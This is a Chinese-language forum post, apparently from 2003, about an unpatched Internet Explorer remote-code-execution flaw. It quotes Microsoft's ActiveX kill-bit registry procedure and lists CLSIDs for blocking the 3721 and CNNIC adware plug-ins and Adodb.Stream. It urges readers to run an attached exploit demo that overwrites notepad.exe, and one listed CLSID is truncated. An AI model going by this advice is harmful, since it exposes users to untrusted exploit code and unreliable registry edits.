預設 IE遠端任意程式碼執行 &3721,CNNIC惱人插件簡單徹底遮閉

--------------------------------------------------------------------------------
各位用IE或者用IE內核的可千萬要小心了,截至到2003年11月12號IE最新的累積安全更新程序 (KB824145)都沒有將這漏洞補上。這可是遠端任意程式碼執行,而且可是微軟除95外所有操作系統,IE5.5-6所有版本+所有更新都通殺。也就是說除非你只用網景的或者opera瀏覽器,基本上你都在危險中。
如果你不相信,先制作備份你的記事本程序notepad.exe(會被演示程序覆蓋),開啟附近中的self-exec.html,你就知道了。放心,絕對不是病毒,也不會有其他破壞作用。

How to Stop an ActiveX Control from Running in Internet Explorer
http://support.microsoft.com/support.../q240/7/97.asp

WARNING: If you use Registry Editor incorrectly, you may cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that you can solve problems that result from using Registry Editor incorrectly. Use Registry Editor at your own risk.

WARNING: Microsoft does not recommend "unkilling" (undoing the kill action on) an ActiveX control. If you do so, you may create security vulnerabilities. The kill bit is normally set for a reason that may be critical, and because of this, extreme care must be used when you unkill an ActiveX control. Also, because the following procedure is highly technical, you should not proceed unless you a very comfortable with the procedure, and you should read the whole procedure before you begin.

The CLSID for an ActiveX control is a globally unique identifier (GUID) for that control. You can prevent an ActiveX control from running in Internet Explorer by setting the "kill bit" so that the control is never called by Internet Explorer. The "kill bit" is a specific value for the Compatibility Flags DWORD value for the ActiveX control in the registry. Note that this is different than revoking the "safe for scripting" option in an ActiveX control. When the "safe for scripting" option is revoked, Internet Explorer still calls for the control and then prompts you with a warning message that the ActiveX control may be unsafe. Depending on the choice you make, the control may be run. However, after the "kill bit" is set for an ActiveX control, that control is not called by Internet Explorer at all. To set the "kill bit" so that an ActiveX control is never called by Internet Explorer:
Determine the CLSID for the ActiveX control that you want to disable. If you are not sure of the CLSID for the control, contact the manufacturer. If the control is installed, you may be able to determine its CLSID if you know its friendly name. To do this, examine the Default string value for the ProgID key for each of the CLSID keys in HKEY_CLASSES_ROOT\CLSID. You may need to remove as many ActiveX controls as possible, except for the one that you want to disable, in order to make it easier to identify the appropriate CLSID.

154850 How to Remove an ActiveX Control in Windows

Use Registry Editor to view the data value of the Compatibility Flags DWORD value of the ActiveX object CLSID in the following registry key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\CLSID of the ActiveX control

where CLSID of the ActiveX Control is the class identifier of the appropriate ActiveX control.

NOTE: To determine which CLSID corresponds with the ActiveX control that you want to disable, you must first remove all of the ActiveX controls that are currently installed, install the control that you want to disable and then add the "Kill Bit" to its CLSID.
Change the value of the Compatibility Flags DWORD value to 00000400.

只要知道相應的CLSID,你可以在IE中遮閉掉任何ActiveX使用,當然也就可以用來遮閉3721,CNNIC等惱人插件的自動安裝。而且不用更改hosts文件,也不用更改安全證書,不會彈出提示視窗,不影響正常上網,從此,一切安靜了

無意發現的這種遮閉3721,CNNIC等惱人插件的方法好像還沒人提過,也算是原創吧

相對應的CLSID分別是:
B83FC273-3522-4CC6-92EC-75CC8667A4 /3721
9A578C98-3C2F-4630-890B-FC04196EF420 /cnnic
00000566-0000-0010-8000-00AA006D2EA4 /Adodb.Stream 2.7
4B106874-DD36-11D0-8B44-00A024DD9EFF /Adodb.Stream 2.5

附件就是對應的REG文件,匯入註冊表就可以,簡簡單單的4行而已。
